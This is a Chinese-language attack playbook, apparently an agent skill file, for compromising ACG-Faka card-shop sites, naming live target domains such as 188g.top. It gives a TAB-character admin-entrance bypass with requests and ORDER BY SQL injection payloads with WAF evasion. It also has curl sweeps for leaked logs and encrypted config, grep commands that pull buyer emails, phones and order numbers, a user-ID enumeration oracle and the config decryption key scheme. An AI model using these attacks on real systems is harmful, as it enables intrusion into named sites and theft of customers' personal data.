ACG-Faka(异次元发卡)渗透测试
实战验证:188g.top 站群(188g/188b/198c/80018 同实例 + 188sms.top,2026-09-24)。 上游
lizhipay/acg-faka,PHP8 + Eloquent + Smarty3,MIT 开源 → 永远先 clone 源码审计。
触发条件 / 指纹
- 标题含「客服@xxx 批发ins/fb账号」「购物 - 飞机批发」等发卡站文案
- Cookie
ACG-SHOP;ready("/app/View/User/Theme/<Theme>/...");setVar("_var_item",{...}) - 静态资源
?v=<X.Y.Z>=config/app.php的version→ 版本一眼可知 - 视图路径
/app/View/User/Theme/Tokyo|MountFuji|Cartoon/ - 后台
/admin302 →/admin/authentication/login
第一步(每次必做):拉源码
source <(rotate_proxy.sh env) # GitHub 需代理
GIT_TERMINAL_PROMPT=0 git clone --depth 1 https://github.com/lizhipay/acg-faka.git /tmp/acg-faka
cat /tmp/acg-faka/config/app.php | grep version # 与目标 ?v= 比对
# 插件集(含 Entrance 后台安全入口插件)
git clone --depth 1 https://github.com/NoDoorAction/Acg-Faka-Plugins.git /tmp/acg-plugins
版本一致 ⇒ 所有代码路径可预判,无需黑盒试错。若目标是旧版本 → 翻 git log 找已修补的漏洞。
⚡ 第二步(同样每次必做):用官方清单横扫目标站静态文件
同版本源码到手后,立刻生成文件清单并逐一对目标站请求(脚本模板见本文档 「第四个高危」节)——上游 deny 规则集大量部署未应用,命中率实测 98/111。 先跑这一遍,再谈黑盒爆破。
🎯 核心漏洞:后台安全入口(Entrance)绕过 —— 3.7.9 仍存在
原理:门禁解析器与内核路由解析器的 trim 字符集不一致。
// app/Util/AdminEntrance.php::guard()
$route = strtolower(explode("/", trim($_GET['s'], "/"))[0]); // PHP8 trim 只剥 '/'
if ($route === "admin" && !$session) deny(); // "admin\t" !== "admin" → 放行
// kernel/Kernel.php
$controller .= '' . ucfirst(trim($x)); // trim 默认含 \t → "Admin" → 正常分发
PoC 模板(%09 = TAB,任意空白均可,只要 nginx 不做规范化):
GET /?s=/admin%09/authentication/login → 200 后台登录页
POST /?s=/admin%09/api/authentication/login → 控制器执行(仅差验证码)
GET /?s=/admin%09/dashboard/index → 「登录会话过期」= 已进后台
GET /?s=/admin%09/mcp/server → 401 Unauthorized = MCP 端点已抵达
验证要点:无绕过时裸 /admin/xxx 返回「安全校验失败 / 没有使用正确入口访问后台」;
绕过成功后是真实后台页面。用批量脚本跑 5 个以上同族域名——站群常共用一套后台。
注意:错误页里的「服务器IP」是 mt_rand(20,245)×4 随机假值,不是源站 IP,别拿去扫端口。
🔴 第二个高危:runtime.log 公网可读(实测 690KB / 1367 条 SQL)
入口:GET /runtime.log → 200,站点根目录的调试日志(kernel/Helper.php:354 debug())。
根因:日志路径 = BASE_PATH . '/runtime.log'(webroot 根),
官方 docker/nginx.conf 有 deny 规则 ~* \.(log|...)$ { return 404; },
但大量部署没应用这套规则 → nginx 直接命中静态文件,绕过 index.php。
一步到位探测(每次开局先打):
curl -sI https://<T>/runtime.log | head -1 # HTTP/2 200 → 中奖
curl -s https://<T>/runtime.log -o rt.log && wc -c rt.log
同时试 /composer.lock、/docker/nginx.conf、/config/*.php(后者若 200 但 0B 是「被执行」,非源码)。
泄露内容(ACG-Faka 的 debug() 记 error/exception 全文):
grep -c '(SQL: ' rt.log # 完整 SQL 语句数
grep -oE '\b[0-9]{18}\b' rt.log | sort -u # 真实 trade_no
grep -oE '[^ ]+\.php:[0-9]+' rt.log | sort -u # 绝对路径 + 行号
grep -oE 'acg_[a-z_]+' rt.log | sort -u # 表名
grep -oE '[\w.+-]+@[\w.-]+\.\w+' rt.log | sort -u # 买家联系方式
实测拿到:1367 条 SQL(select/insert/update)、95 个真实 trade_no、
6 个买家邮箱/微信/手机、库名+表前缀(sylmj_com / acg_)、完整分站域名群
(acg_business.subdomain)、第三方基础设施(支付网关 / 官方商店 / CDN)。
⚠️ 日志还会暴露「前人已到」:在本目标日志里发现
order by \/*!50000SLEEP*/(3)`、order by `1 div 0`、 order by ``acg_order``.`if(1` = ... → **已有攻击者在做注入**,
且 contact 字段留了 test\x09onerror\x09=\x09confirm\x09(1)(TAB 绕过 WAF 的 XSS 测试)。
读日志 = 直接抄前人的攻击点,比黑盒快十倍。
判定边界:日志只泄露 结构 + 元数据 + 订单号,不含 acg_config 的值(表头被打印、值不打印),
所以拿不到数据库口令 / 支付密钥。配合未授权接口 /user/api/index/query 的 trade_no 查询,
但实测 95 个单号全部 total:0(站点「不保存已售数据」的公告属实,且日志是历史累积)。
🔴 第三个高危:order by 位置 SQL 注入(用户端下级/推广列表)
注入点:select distinct ... from acg_user where pid = X order by \` desc limit 1 - 接口候选:app/Controller/User/Api/AgentMember.php::data()、Promote.php::data()`(均挂 UserSession,需普通登录)。
源码根因(app/Service/Bind/Query.php::safeOrderBy()):
$allowed = $get->filterColumns ?? tableColumns(...)。当 introspection 失败返回空数组时,
列白名单校验整段被跳过,只剩 '/^[A-Za-z_][A-Za-z0-9_]*$/'(缺 D 修饰符)。
if (empty($allowed)) { /* 错误!应 return [$fallback,$rule]; */ }
可用 payload(前人实测过的,直接拄):
order by `case when 1=1 then id else username end` asc limit 3 # 布尔盲注(借 distinct 行序差异)
order by `1 div 0` # 报错注入
order by `/*!50000SLEEP*/(3)` # 时间盲注,MySQL 版本注释绕 WAF
order by `if(1=1,user/*!*/name,1div0)` # 注释符插入绕 WAF
实战技巧:盲注判定不要看响应内容差异,要看 distinct 结果集的行序差异;
limit 3 是逐行提取的预备动作。
🔴 免登录用户 ID 存在性预言机(3.7.9 上游通杀,先打这一枪)
入口:任意挂 UserVisitor 的免登录路由(User/Api/Index/*、User/Index/*、
User/Api/Authentication/*、User/Api/Lang/*、User/Api/Order/*),加 ?from=<uid>:
curl -sD- -o /dev/null "https://T/user/api/index/commodity?from=4744" | grep -i set-cookie
→ set-cookie: promotion_from=4744; … # uid 存在
curl -sD- -o /dev/null "https://T/user/api/index/commodity?from=99999999" | grep -i set-cookie
→ (无 Set-Cookie 头) # uid 不存在
根因 app/Interceptor/UserVisitor.php(该类只填 Context、不做拦截):
if (isset($_GET['from']) && \App\Model\User::query()->where("id", $_GET['from'])->exists()) {
setcookie("promotion_from", $_GET['from'], time() + 10*365*24*60*60, "/");
}
无鉴权、无 Throttle、无验证码。判据是 Set-Cookie 出现/不出现(布尔确定值,
不受响应体/体积/时间影响)—— 不要用响应体差异判,会误报。
利用价值:
- 二分 O(log N) 取全站最大 uid → 用户总量上界(188g 实测 = 4688)
- 逐 uid 枚举真实注册名单与活跃窗口(188g 窗口 4680–4760 → 存在 4680/4681/4682/4684/ 4685/4686/4688/4692/4743/4744,其余 71 个不存在)
- 为
agentMember/transfer做目标预筛;为index/query人口面测绘; 为定位站长/商户 ID 提供线索
修复:加 Throttle + ^\d+$ 格式校验;根本解法是推广归属不由前端 cookie 决定。
🟡 转账端点缺目标校验(有余额即可任意转账)
POST /user/api/agentMember/transfer {id:<任意uid>, amount:0.01}
→ {"code":0,"msg":"余额不足"} ← 存在/不存在目标都同一错误(非预言机)
// AgentMember::transfer() —— 语义是「代理下级」面板,却不校验 $to 是否本人下级
if ($to === $userId) throw new JSONException("不能给自己转账");
Db::transaction(function () use ($to, $amount, $userId) {
Bill::create($userId, $amount, 0, "转账给ID:{$to}", 0, false); // 先扣自己 → 余额=0 即抛
Bill::create($to, $amount, 1, "来自ID:{$userId}的转账", 0, false);
});
amount 受 '/^\d+(\.\d{1,2})?$/'(负数不可用)。零余额账号不可利用;
持有有余额账号(商户/充值用户)时即可向任意 uid 转账、无限额。
修复:if (!User::query()->where('id',$to)->where('pid',$userId)->exists()) throw …
🔴 第四个高危:runtime/ 静态制品 + 官方清单全量泄露(3.7.9 通杀,第四轮新增)
根因:上游 docker/nginx.conf / .htaccess 有完整 deny 规则集
(^/(config|kernel|runtime|vendor)/、\.(log|sql|bak|old|swp|…)$、~|composer\.(json|lock)、
^(?!index\.php).*\.php),但大量部署没应用 ⇒ nginx location / 的 try_files $uri
把任何磁盘上存在的文件静态直出。先用「官方同版本清单 × 目标站」横扫一遍,命中率极高。
# 0) 先 clone 同版本源码生成清单(见本文档开头),再逐一对目标站请求
# 1) 配置快照密文(最高价值——解密即全站配置)
curl -s -o cfg.bin -w '%{http_code} %{size_download}\n' https://T/runtime/config # 200 5360
curl -s -w '%{http_code} %{size_download}\n' -o sc.json https://T/runtime/plugin/store.cache # 200 67658 JSON
curl -s -o hk.bin -w '%{http_code} %{size_download}\n' https://T/runtime/plugin/hook # 200 4336
curl -s -o pk.json -w '%{http_code} %{size_download}\n' https://T/runtime/lang/packs.json # 200 1915
# 2) 后台视图模板(22 个,含 Config/Security.html 的 admin_entrance 字段名)
curl -s https://T/app/View/Admin/Config/Security.html | head -c 3000
curl -s https://T/app/View/Admin/Config/{Setting,Other}.html -o /dev/null -w '%{http_code}\n'
# 3) 宝塔 WAF 规则(payload 规划弹药;同时解释「AND SLEEP → 403」的真实归因)
for f in args post cookie ua url; do curl -s https://T/config/waf/$f.json; done
# 4) 其他
curl -s https://T/composer.json -o /dev/null -w '%{http_code}\n'
curl -s https://T/docker/nginx.conf # ← deny 规则定义本身被泄露,用它自查哪条没生效
curl -s https://T/app/Plugin/<P>/Lang/en.json
/runtime/config 是什么(app/Model/Config.php):BASE_PATH.'/runtime/config'
= serialize(acg_config 整表 key→value) + "\0complete",经 Binary::pack() 加密。
// kernel/Util/Binary.php(明文源码)
openssl_encrypt($data, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $key) // key = iv
$key = strtoupper(substr(md5(db.database . db.password . db.username . db.prefix . __FILE__), 0, 16));
⇒ 路径部分由 php-fpm 报错页给出(/www/wwwroot/<site>/kernel/Util/Binary.php),
只差 config/database.php 的库名/口令/账号/前缀。解密后含 admin_entrance、store.app_key、支付密钥。
同源推论:/runtime/log/<md5(DB口令)>/ —— 拿到口令即可算出运行日志目录名。
唯一仍被拦的高价值文件:/kernel/Install/Install.sql(完整 DDL)→ 宝塔 WAF 403。
16 种绕过全败(%2e/大小写/尾斜杠/%20/%09/?x=1//app/../////空查询/%00)。
⇒ 宝塔 WAF 跑在 nginx rewrite 之后,对归一化 URI 判定,无绕回空间。
后缀绕过读 .php 同样全 404(~/.bak/.old/.txt/.phps/.save/.orig/.swp/.1/.dist/.null/.inc 16 种):
本站 nginx 没有 try_files 静态回退,只有磁盘上真实存在的文件才 200 ⇒「源码后缀绕过」在这类站上是死路。
.php 直达 200 必须验真:响应体是否以 <?php 开头?
/app/**/Config/Info.php 实测是 php-fpm 执行后的 Fatal error(270-292B,带绝对路径),不是源码;
/config/database.php 回 0B(执行后无输出)——两者都不是源码泄露。
⚠️ 目标站「逐路径随机 520」纪律
实测同一路径首测 200、复测 520 屡次出现(CF↔源站链路瞬断),
单次 200 一律不写战报,同一路径连续 ≥3 次一致才确认;脚本必须内建「520 重试 + 取最高分那次」。
(实例:/app/Plugin/Lumepanel/Wiki/README.md 首测 4 站全 200、复测全死;
188b.top/runtime/lang/packs.json 首测 200 复测 520)
独立实例判定三件套(别只看首页/价格):
store.cache sha256 · packs.json sha256 · 「插件未启用」基线页体积
(实测某站群:188g=13890B/主组 13890B vs 另一实例 12952B,且 store.cache/packs.json 两份不同 ⇒ 独立库)
🔵 插件面精确判定基线(省时利器,先标定再枚举)
POST /plugin/<Plugin>/<controller>/<action> 的三态(必须先按站标定基线):
| 返回 | 含义 |
|---|---|
200 / 13890B <title>当前插件未启用</title> |
插件目录存在、已停用 |
200 / 13927B data-state="missing" <title>页面没有找到</title> |
(188sms 站基线;与上条含义重叠:未启用 or action 不存在) |
| 404 / 1076B nginx | 插件目录不存在(未安装) |
200 / 13154B data-state="missing" |
action 不存在(部分站) |
实测(507 探针/站):188g 已装 31 个插件(ApiNotification/CardAPI/CartoonColor/CommodityAPI/
ContactVerify/Demo/Email*/Font/Gitee*/GoTop/HostRedirect/LeavePrompt/Live2d/LiveChat/Lumepanel/
Mourn/NewYearLantern/PaypalCallback/ProxyClient/SharedStock/Statistics/TelegramBot/VideoBackground/Blog);
188sms 额外装了 MakeOrder/Refund/Remember/TelegramService;两站 DestroyOrder 均未装。
全部已装插件在非基线探针上均无可利用面(唯一例外 Blog,见下)。
🔵 目录存在性基线(403 也有真假)
| 返回 | 含义 |
|---|---|
403 / 1084B <title>403 Forbidden</title> 纯 nginx(无 CF 脚本) |
目录存在、列表禁用 |
| 404 / 1076B | 不存在 |
实测存在:/runtime/request/ /runtime/throttle/ /runtime/log/ /app/Plugin/ /app/Controller/ /vendor/ |
🟢 Blog 插件:唯一的未授权 JSON API 面
路由真身(凭框架惯例猜 index/index、post/list 都会 404):
✅ POST /plugin/Blog/api/post/list → 200 文章列表(id/slug/title/views/category/tags)
✅ POST /plugin/Blog/api/comment/list → 200
✅ POST /plugin/Blog/api/search/suggest|category/list → 200
✅ GET /blog → 伪静态入口,内嵌 window.__BLOG__(含 api:'/plugin/Blog/api')
❌ post/detail|save|delete|publish、comment/audit|delete、upload/image、category/save、
tag/save、meta/rebuild、ai/generate、cron/run、task/run → 全 404(不存在)
⚠️ config/save|get、setting/save → 403 约5488B = CF JS 挑战(**不是「接口存在」**)
🟢 免登录泄露面补充
POST /user/api/index/pay → 200 全站支付通道映射(id / name / icon / handle),免登录!
POST /user/api/index/data → 分类全量(Index 控制器整体挂 UserVisitor,非 UserSession)
POST /user/api/index/commodity|commodityDetail|valuation|stock|query|secret|order/trade|order/state
GET /user/api/site/info → 店铺全配置(公告常含 TG / 关联站 / 客服)
GET /user/api/lang/dict?lang=en|zh-tw|ja → 200 / 300-410KB 全站 UI 文案+商品描述碎片
🔴 登录后:promote/data = 全站商品价目表(价值最高的读口)
POST /user/api/promote/data (UserSession,limit 上限 100,需翻页)
→ total = 全站商品数(188g 实测 1646,前台仅暴露 492)
字段:id / name / cover / race / guest_price / my_price / profit / rate / sku_count
判读:profit = 站长取货成本;rate = 下级分成%;my_price<guest_price = 倒挂条
任何 ACG-Faka 站注册个号就能拉出这张表 —— 比前台商品列表多 3 倍以上,且带成本列。
全文导航(已拆分)
主卡保留前 14 节;其余 12 节在 references/full.md:
- 🔴 支付回调伪造判定(必做,两步)
- 🔴 商户等级门禁(挡住一半后台面)
- 🟡 转账越权端点(存在但有余额硬门)
- 🟡 翻译字典投毒面(受
collect()闸门限制) - 🔑 验证码 OCR 重登(拿回历史注册账号的 session)
- 无 n-day 判定法(零成本,先在 3-4 个域名上跑)
- 未授权可达 API 面(免登录,可直接测绘)
- 登录/后台凭据面(判定为死路的依据)
- MCP 端点(开发中心)
- 其他面
- 常见坑
- 相关工作流
加载:skill_view(name='acg-faka-pentest', file_path='references/full.md')